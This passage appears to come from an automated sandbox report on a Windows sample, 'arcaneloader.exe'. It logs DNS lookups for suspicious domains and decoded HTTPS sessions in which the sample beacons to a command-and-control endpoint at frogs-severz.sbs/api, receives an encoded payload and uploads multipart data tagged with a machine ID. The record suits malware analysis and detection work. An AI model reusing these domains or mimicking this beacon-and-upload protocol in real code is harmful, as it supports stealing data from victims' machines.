Nov 23, 2024 15:03:22.293687105 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:22.293764114 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:22.294917107 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:22.294935942 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:22.295175076 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:22.296322107 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:22.296379089 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:22.296401978 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:23.048441887 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:23.048541069 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:23.048609018 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:23.048980951 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:23.049006939 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:23.049021006 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:23.049030066 CET	443	49746	172.67.155.47	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:03:03.097207069 CET	59110	53	192.168.2.6	1.1.1.1
Nov 23, 2024 15:03:03.335712910 CET	53	59110	1.1.1.1	192.168.2.6
Nov 23, 2024 15:03:03.456376076 CET	65210	53	192.168.2.6	1.1.1.1
Nov 23, 2024 15:03:03.694583893 CET	53	65210	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 15:03:03.097207069 CET	192.168.2.6	1.1.1.1	0x963d	Standard query (0)	fumblingactor.cyou	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:03:03.456376076 CET	192.168.2.6	1.1.1.1	0x8e2e	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 15:03:03.335712910 CET	1.1.1.1	192.168.2.6	0x963d	Name error (3)	fumblingactor.cyou	none	none	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:03:03.694583893 CET	1.1.1.1	192.168.2.6	0x8e2e	No error (0)	frogs-severz.sbs		172.67.155.47	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:03:03.694583893 CET	1.1.1.1	192.168.2.6	0x8e2e	No error (0)	frogs-severz.sbs		104.21.88.250	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

frogs-severz.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogs-severz.sbs
2024-11-23 14:03:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:03:05 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0dml8tub1gvbm3ln9jr3qs4mtt; expires=Wed, 19-Mar-2025 07:49:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pFLAmbw8cCMZ5TQQp7Xj3OoOOYmsHM8SuWUIAQ2Ave8%2BOlF49%2BZLT5XfAVr1Zt0V9k0eWiCi8w6XXE9e8wrN%2BeeGfASgY3P5napVjG7bzsa7lwgiai9sqjQsVHgI5%2BZzy12w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b35e1c264406-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2173&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1330296&cwnd=186&unsent_bytes=0&cid=8fbf55f91f052788&ts=713&x=0"
2024-11-23 14:03:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:03:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:07 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: frogs-severz.sbs
2024-11-23 14:03:07 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f 6e 65 77 78 64 78 78 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--pyokonewxdxx&j=
2024-11-23 14:03:07 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mh28sibpif8ja0k96j41gl40ou; expires=Wed, 19-Mar-2025 07:49:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=faZwr69dfwfKjZH%2FYjHlTSPg%2FiQNiN34Io571I6bnZ%2FGcqGN6xbDk5D0BKYore3yGTiAowQlsc5I%2F754060Qc5ek5Y%2BZQNIPMoITqn4CGb0DqbKYGhMWU%2Fy0SYTnBcYhHb71"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b36a7f390f69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1475&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=954&delivery_rate=1927392&cwnd=250&unsent_bytes=0&cid=44b225ca96b109ff&ts=721&x=0"
2024-11-23 14:03:07 UTC	356	IN	Data Raw: 34 64 61 0d 0a 76 56 77 37 50 7a 74 37 59 71 7a 73 36 79 6d 4e 34 39 57 72 54 36 2b 57 77 49 41 70 39 59 74 4a 76 68 34 38 45 37 32 33 69 6a 6e 47 66 6b 30 64 41 55 39 4f 6a 70 2b 4f 43 37 65 58 70 39 34 71 67 37 53 68 35 41 76 50 37 53 6a 53 62 56 6b 2f 6e 38 48 6e 47 34 63 36 57 6c 4e 49 48 6b 36 4f 69 5a 4d 4c 74 37 69 75 69 53 72 42 74 50 71 69 54 4a 2f 70 4b 4e 4a 38 58 58 6a 53 78 2b 5a 61 31 54 42 63 56 31 34 59 42 73 32 41 68 6b 7a 6f 68 72 54 42 49 63 62 37 71 4f 30 4c 32 61 6b 73 78 44 77 47 4d 66 44 53 2f 6c 6a 77 50 55 68 55 47 51 5a 4f 31 38 36 4f 52 36 2f 5a 39 38 6f 71 7a 66 71 6d 35 45 4b 64 34 79 48 61 66 56 68 35 7a 64 37 73 55 64 55 2b 58 31 5a 55 45 52 4c 41 69 6f 46 48 37 6f 79 30 69 57 4f 4e 38 37 71 69 45 39 65 36 47 64 39 74 54 32 Data Ascii: 4davVw7Pzt7Yqzs6ymN49WrT6+WwIAp9YtJvh48E723ijnGfk0dAU9Ojp+OC7eXp94qg7Sh5AvP7SjSbVk/n8HnG4c6WlNIHk6OiZMLt7iuiSrBtPqiTJ/pKNJ8XXjSx+Za1TBcV14YBs2AhkzohrTBIcb7qO0L2aksxDwGMfDS/ljwPUhUGQZO186OR6/Z98oqzfqm5EKd4yHafVh5zd7sUdU+X1ZUERLAioFH7oy0iWON87qiE9e6Gd9tT2
2024-11-23 14:03:07 UTC	893	IN	Data Raw: 63 68 6f 4a 41 36 70 4f 38 77 43 44 41 39 4b 2f 6f 52 4a 54 70 4c 4e 5a 32 55 58 76 62 32 4f 56 64 33 7a 34 5a 45 78 6b 65 47 49 37 57 79 57 6a 71 6b 62 44 46 4f 34 2f 4f 34 76 30 46 6a 71 6b 73 30 44 77 47 4d 64 66 51 36 31 6a 55 4d 56 70 56 55 67 73 41 33 49 69 45 54 76 32 48 73 73 63 6e 7a 75 61 6f 37 45 32 55 34 43 44 56 65 56 6c 31 6e 35 75 6f 58 4d 64 2b 41 52 31 34 46 41 76 43 68 4a 35 4c 72 35 37 35 30 47 33 4b 2b 4f 4b 36 43 35 50 6f 4c 39 31 34 55 48 2f 62 32 65 35 56 30 6a 46 66 56 31 6b 65 43 73 61 47 69 45 62 6b 6a 72 66 4d 49 4d 6e 79 72 75 4e 4f 31 36 64 72 32 32 51 65 4b 5a 2f 37 37 31 6a 4e 66 47 78 65 56 78 63 48 32 4d 36 57 42 66 62 42 73 4d 56 74 6c 62 53 73 35 30 53 46 36 44 6e 5a 63 6b 78 39 32 74 50 6c 57 4e 45 2b 58 46 70 55 46 77 Data Ascii: choJA6pO8wCDA9K/oRJTpLNZ2UXvb2OVd3z4ZExkeGI7WyWjqkbDFO4/O4v0Fjqks0DwGMdfQ61jUMVpVUgsA3IiETv2Hsscnzuao7E2U4CDVeVl1n5uoXMd+AR14FAvChJ5Lr5750G3K+OK6C5PoL914UH/b2e5V0jFfV1keCsaGiEbkjrfMIMnyruNO16dr22QeKZ/771jNfGxeVxcH2M6WBfbBsMVtlbSs50SF6DnZckx92tPlWNE+XFpUFw
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 6c 64 46 41 2f 48 68 34 42 5a 35 59 32 35 32 79 44 48 38 61 7a 75 54 70 6a 70 4b 74 31 79 56 48 71 66 6d 36 68 63 78 33 34 42 48 58 59 55 45 4e 79 45 67 6c 71 74 74 4c 54 48 49 38 72 69 34 76 30 46 6a 71 6b 73 30 44 77 47 4d 64 54 54 35 46 66 66 4f 45 74 54 56 67 73 4b 33 49 71 48 54 2b 4f 50 76 73 51 69 79 4f 61 6d 34 6c 6d 57 37 43 7a 53 63 55 78 30 6e 35 75 6f 58 4d 64 2b 41 52 31 6a 4c 51 66 65 6e 34 34 4a 32 6f 4b 35 78 79 72 62 74 4c 32 73 55 74 66 75 4a 35 77 6b 48 6e 4c 54 32 4f 46 65 30 43 78 54 55 56 67 4c 42 38 65 48 67 30 72 68 6a 72 7a 46 4b 4e 2f 2f 72 65 70 45 6c 75 51 6d 31 33 68 65 4d 5a 47 56 37 30 4f 66 5a 68 6c 38 56 42 59 53 7a 5a 2f 4c 66 75 79 50 75 63 34 37 6a 65 76 73 2b 77 75 51 35 57 75 45 50 46 39 39 30 39 54 Data Ascii: 3f92ldFA/Hh4BZ5Y252yDH8azuTpjpKt1yVHqfm6hcx34BHXYUENyEglqttLTHI8ri4v0Fjqks0DwGMdTT5FffOEtTVgsK3IqHT+OPvsQiyOam4lmW7CzScUx0n5uoXMd+AR1jLQfen44J2oK5xyrbtL2sUtfuJ5wkHnLT2OFe0CxTUVgLB8eHg0rhjrzFKN//repEluQm13heMZGV70OfZhl8VBYSzZ/LfuyPuc47jevs+wuQ5WuEPF9909T
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 56 35 57 55 68 30 45 7a 6f 4f 43 52 65 47 49 75 38 45 68 79 75 61 76 35 30 4f 64 34 43 37 51 63 56 31 6a 33 4e 53 6f 46 5a 38 35 51 52 30 42 57 53 66 39 75 61 6f 4c 38 4d 2b 75 69 53 72 42 74 50 71 69 53 70 2f 75 4a 64 68 75 55 47 50 52 30 75 68 64 31 7a 5a 65 55 56 63 58 45 73 61 50 69 55 58 67 69 62 37 4e 4c 4d 6e 77 72 75 55 4c 32 61 6b 73 78 44 77 47 4d 66 66 57 38 6b 47 64 45 46 4a 64 58 67 6b 57 31 63 36 57 42 66 62 42 73 4d 56 74 6c 62 53 6d 36 55 47 65 36 69 4c 59 63 56 35 34 30 4e 7a 67 56 74 63 73 57 46 64 4c 48 51 58 50 67 59 4e 50 35 34 32 34 78 53 6e 66 2f 2b 4b 73 43 35 44 78 61 34 51 38 66 6e 72 4a 39 76 70 4a 6e 79 45 58 52 42 6b 65 44 49 37 57 79 55 4c 6a 67 4c 62 44 4b 38 62 78 72 2b 4a 4f 6e 65 34 6e 33 48 78 64 64 39 6e 59 34 46 50 54 Data Ascii: V5WUh0EzoOCReGIu8Ehyuav50Od4C7QcV1j3NSoFZ85QR0BWSf9uaoL8M+uiSrBtPqiSp/uJdhuUGPR0uhd1zZeUVcXEsaPiUXgib7NLMnwruUL2aksxDwGMffW8kGdEFJdXgkW1c6WBfbBsMVtlbSm6UGe6iLYcV540NzgVtcsWFdLHQXPgYNP5424xSnf/+KsC5Dxa4Q8fnrJ9vpJnyEXRBkeDI7WyULjgLbDK8bxr+JOne4n3Hxdd9nY4FPT
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 59 63 43 4d 57 49 68 30 72 70 6a 62 71 4a 59 34 33 7a 75 71 49 54 31 38 34 78 30 58 70 4a 59 4f 72 53 36 41 71 66 49 52 64 45 47 52 34 4d 6a 74 62 4a 52 75 4f 4c 75 73 77 70 78 66 4f 68 34 30 65 54 35 43 62 59 64 56 70 30 7a 63 66 75 56 64 38 78 56 31 4a 56 43 77 37 4c 6a 6f 55 4c 6f 63 47 77 30 57 32 56 74 4a 50 31 53 39 66 32 5a 63 55 38 57 58 32 66 6a 61 68 55 30 69 78 56 55 6c 6b 59 41 38 71 46 6a 6b 33 70 67 4c 54 4d 4c 73 6a 79 6f 2b 4a 48 6e 65 34 6a 31 6e 4a 54 64 39 76 54 37 68 75 52 66 6c 35 46 47 55 46 41 2f 49 4f 48 51 75 79 48 75 74 38 46 2f 4c 53 39 72 46 4c 58 37 69 65 63 4a 42 35 31 31 4e 33 6b 58 74 63 37 57 46 56 54 45 51 2f 42 6e 49 68 45 35 6f 61 38 78 43 4c 44 38 61 7a 77 54 4a 7a 69 49 39 56 79 57 44 47 52 6c 65 39 44 6e 32 59 5a 61 Data Ascii: YcCMWIh0rpjbqJY43zuqIT184x0XpJYOrS6AqfIRdEGR4MjtbJRuOLuswpxfOh40eT5CbYdVp0zcfuVd8xV1JVCw7LjoULocGw0W2VtJP1S9f2ZcU8WX2fjahU0ixVUlkYA8qFjk3pgLTMLsjyo+JHne4j1nJTd9vT7huRfl5FGUFA/IOHQuyHut8F/LS9rFLX7iecJB511N3kXtc7WFVTEQ/BnIhE5oa8xCLD8azwTJziI9VyWDGRle9Dn2YZa
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 4a 68 6f 31 46 2f 59 43 34 69 57 4f 4e 38 37 71 69 45 39 66 59 50 64 74 37 55 54 50 32 30 76 4e 61 31 54 31 53 55 52 6b 47 54 74 66 4f 6a 6b 65 76 32 66 66 45 49 63 44 77 73 4f 35 4c 6c 2b 41 73 31 6d 35 52 66 74 4c 57 36 46 37 4e 50 30 74 53 55 68 77 44 79 6f 47 47 52 2b 65 4c 39 34 64 74 79 75 7a 69 75 67 75 37 36 6a 72 57 50 6e 6c 72 79 64 4c 6b 53 74 51 7a 56 52 31 47 56 78 6d 4f 69 59 55 4c 74 38 47 33 79 43 44 66 38 61 50 6f 51 5a 72 68 4a 4e 6c 35 55 58 58 62 33 75 5a 4a 30 54 46 5a 57 31 49 59 42 63 32 46 67 30 58 6d 6b 2f 65 48 62 63 72 73 34 72 6f 4c 76 66 49 71 30 58 41 63 58 39 54 44 37 78 6e 2b 4d 46 4a 61 56 51 39 41 30 63 43 51 43 2b 69 4e 39 35 46 74 78 50 71 75 34 55 79 66 34 53 37 63 64 31 35 2b 31 64 76 76 53 64 55 79 55 30 39 57 47 67 Data Ascii: Jho1F/YC4iWON87qiE9fYPdt7UTP20vNa1T1SURkGTtfOjkev2ffEIcDwsO5Ll+As1m5RftLW6F7NP0tSUhwDyoGGR+eL94dtyuziugu76jrWPnlrydLkStQzVR1GVxmOiYULt8G3yCDf8aPoQZrhJNl5UXXb3uZJ0TFZW1IYBc2Fg0Xmk/eHbcrs4roLvfIq0XAcX9TD7xn+MFJaVQ9A0cCQC+iN95FtxPqu4Uyf4S7cd15+1dvvSdUyU09WGg
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 42 66 62 42 73 4d 56 74 6c 62 53 69 35 6b 65 55 37 69 58 54 63 56 46 32 31 4e 72 69 56 63 30 78 58 46 56 56 45 51 33 63 68 49 4e 5a 35 6f 69 36 78 79 58 66 39 2b 4b 73 43 35 44 78 61 34 51 38 62 48 76 63 32 66 35 57 30 48 35 47 45 30 42 5a 42 38 4c 4f 30 51 76 39 6b 37 66 43 4c 63 72 36 73 4f 4e 44 6d 4f 4d 72 32 6e 64 55 63 74 62 52 35 6c 4c 5a 50 31 52 63 57 42 6b 46 7a 6f 65 62 52 71 2f 50 39 38 34 31 6a 61 7a 69 31 55 65 63 32 43 6a 4b 50 45 45 2f 78 70 58 76 56 35 39 6d 47 56 78 4c 46 41 6a 4b 6a 6f 52 4e 35 49 43 32 79 69 33 4e 39 36 4c 6e 51 4a 6a 76 4c 4e 46 32 56 33 6a 4e 33 65 78 4a 33 7a 4a 64 48 52 64 5a 42 39 62 4f 30 51 76 66 67 72 7a 46 4c 63 44 68 34 76 30 46 6a 71 6b 73 30 44 77 47 4d 64 66 65 34 31 33 55 50 56 70 54 55 68 4d 50 77 59 53 Data Ascii: BfbBsMVtlbSi5keU7iXTcVF21NriVc0xXFVVEQ3chINZ5oi6xyXf9+KsC5Dxa4Q8bHvc2f5W0H5GE0BZB8LO0Qv9k7fCLcr6sONDmOMr2ndUctbR5lLZP1RcWBkFzoebRq/P9841jazi1Uec2CjKPEE/xpXvV59mGVxLFAjKjoRN5IC2yi3N96LnQJjvLNF2V3jN3exJ3zJdHRdZB9bO0QvfgrzFLcDh4v0Fjqks0DwGMdfe413UPVpTUhMPwYS
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 37 62 45 4a 73 47 32 6f 2b 39 62 6b 4b 6c 6c 6e 48 6f 65 4b 59 2b 62 71 46 2f 4f 66 67 45 4e 43 30 4a 56 6e 64 6e 5a 47 66 44 50 72 6f 6b 37 6a 61 7a 77 72 41 75 46 71 58 4f 63 4f 31 31 6a 7a 64 50 72 54 64 78 35 5a 32 4e 35 45 67 7a 4e 67 6f 68 4d 72 38 2f 33 78 6d 32 56 7a 65 4c 68 57 59 57 6d 4f 73 70 78 54 6e 61 54 33 66 6c 57 30 33 34 58 48 52 55 64 43 38 4b 4c 6a 6c 75 67 6b 36 66 43 49 64 75 34 70 76 41 4c 32 61 6b 36 31 33 4e 4d 66 39 69 61 2b 55 33 53 4c 6c 70 59 58 6c 55 49 33 34 4f 46 43 36 48 42 6f 73 49 68 79 2f 6d 33 72 56 71 42 36 6a 33 62 4d 46 5a 67 30 74 6d 6f 5a 4a 46 2b 51 52 30 42 57 54 58 4e 67 49 64 4d 2b 5a 44 36 36 53 62 42 39 36 37 6a 54 4e 65 6e 61 39 6f 38 42 69 4b 52 6c 65 78 4b 6e 32 59 4a 44 77 4a 4d 55 35 6e 65 32 31 53 68 Data Ascii: 7bEJsG2o+9bkKllnHoeKY+bqF/OfgENC0JVndnZGfDProk7jazwrAuFqXOcO11jzdPrTdx5Z2N5EgzNgohMr8/3xm2VzeLhWYWmOspxTnaT3flW034XHRUdC8KLjlugk6fCIdu4pvAL2ak613NMf9ia+U3SLlpYXlUI34OFC6HBosIhy/m3rVqB6j3bMFZg0tmoZJF+QR0BWTXNgIdM+ZD66SbB967jTNena9o8BiKRlexKn2YJDwJMU5ne21Sh
2024-11-23 14:03:07 UTC	1369	IN	Data Raw: 75 4e 72 50 47 73 43 34 57 70 63 35 77 37 55 48 7a 65 31 75 5a 59 7a 53 78 66 58 6b 38 61 52 2f 43 77 72 45 62 69 68 4c 6e 4f 45 2f 50 56 71 50 4a 47 6d 4f 34 56 34 6b 74 50 64 73 2b 58 7a 6c 6a 4a 50 52 6b 54 47 51 46 41 6c 73 36 6f 51 66 2b 4d 75 4d 35 74 67 37 53 6d 6f 68 50 58 7a 43 62 52 65 56 42 32 6e 66 54 69 53 39 49 78 58 68 30 58 57 51 79 4f 31 73 6c 4b 35 5a 47 36 78 69 71 42 38 37 6a 6c 43 39 6d 70 4a 5a 77 6b 48 6e 44 56 78 65 56 55 32 48 4a 66 55 31 64 5a 48 34 43 58 79 56 32 76 32 65 53 48 62 64 2b 30 2b 71 49 4d 6d 65 51 71 33 33 4a 64 59 38 33 54 36 30 33 63 65 57 64 6a 66 42 51 4e 79 34 43 4f 64 64 47 67 76 64 6b 67 77 76 50 67 77 6b 79 42 36 68 58 69 53 30 39 32 7a 35 66 4f 57 4d 6b 39 47 52 4d 5a 41 55 43 57 7a 71 68 42 2f 34 79 34 7a Data Ascii: uNrPGsC4Wpc5w7UHze1uZYzSxfXk8aR/CwrEbihLnOE/PVqPJGmO4V4ktPds+XzljJPRkTGQFAls6oQf+MuM5tg7SmohPXzCbReVB2nfTiS9IxXh0XWQyO1slK5ZG6xiqB87jlC9mpJZwkHnDVxeVU2HJfU1dZH4CXyV2v2eSHbd+0+qIMmeQq33JdY83T603ceWdjfBQNy4COddGgvdkgwvPgwkyB6hXiS092z5fOWMk9GRMZAUCWzqhB/4y4z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=56D4XXNYZO2MRVK5P5F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12872 Host: frogs-severz.sbs
2024-11-23 14:03:09 UTC	12872	OUT	Data Raw: 2d 2d 35 36 44 34 58 58 4e 59 5a 4f 32 4d 52 56 4b 35 50 35 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 0d 0a 2d 2d 35 36 44 34 58 58 4e 59 5a 4f 32 4d 52 56 4b 35 50 35 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 36 44 34 58 58 4e 59 5a 4f 32 4d 52 56 4b 35 50 35 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 70 79 Data Ascii: --56D4XXNYZO2MRVK5P5FContent-Disposition: form-data; name="hwid"D1DAEAD3B896F67BD8DCFC0BCFF02CE4--56D4XXNYZO2MRVK5P5FContent-Disposition: form-data; name="pid"2--56D4XXNYZO2MRVK5P5FContent-Disposition: form-data; name="lid"LPnhqo--py
2024-11-23 14:03:10 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o28skbt52ffoibdituhnjv8sr4; expires=Wed, 19-Mar-2025 07:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BTAoHyPPRI03KK5Vno8jz3poj%2FiXin0qunD1nRKQPNsbcCc7tjkGxoQP%2BInLoXTmNtrHR%2BhR2W1zW0lIv367gQnaVeDYS8i3rhC5FkDtOo1ZYZGikLmu5gWd7wYVoSXdmhKT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b37809c18cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1899&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13813&delivery_rate=1477732&cwnd=239&unsent_bytes=0&cid=9bdc397fcf3e2b19&ts=766&x=0"
2024-11-23 14:03:10 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	172.67.155.47	443	280	C:\Users\user\Desktop\arcaneloader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:03:11 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XXQ7AGRVIG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15064 Host: frogs-severz.sbs
2024-11-23 14:03:11 UTC	15064	OUT	Data Raw: 2d 2d 58 58 51 37 41 47 52 56 49 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 44 41 45 41 44 33 42 38 39 36 46 36 37 42 44 38 44 43 46 43 30 42 43 46 46 30 32 43 45 34 0d 0a 2d 2d 58 58 51 37 41 47 52 56 49 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 58 51 37 41 47 52 56 49 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 70 79 6f 6b 6f 6e 65 77 78 64 78 78 0d 0a 2d 2d 58 58 51 37 41 47 52 56 49 47 0d 0a 43 Data Ascii: --XXQ7AGRVIGContent-Disposition: form-data; name="hwid"D1DAEAD3B896F67BD8DCFC0BCFF02CE4--XXQ7AGRVIGContent-Disposition: form-data; name="pid"2--XXQ7AGRVIGContent-Disposition: form-data; name="lid"LPnhqo--pyokonewxdxx--XXQ7AGRVIGC
2024-11-23 14:03:12 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nakdql7r7fnbjs15l77gsvafos; expires=Wed, 19-Mar-2025 07:49:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IakuDFSIBhwoJ46YmdOTHI5QO3vIx2lReQtzPtlEuffp5hpVppKUjg82ynWZJM3iVD%2FuxIg%2BZVVrd%2BD8KKQ13Ut3GX8OVTw%2BZr%2BE6cySs3IQSw6FU%2B7%2FelCiILP2SuqC9oZQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71b3863b5a431c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1686&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2840&recv_bytes=15996&delivery_rate=1664766&cwnd=231&unsent_bytes=0&cid=b788119a2dc9fa96&ts=659&x=0"
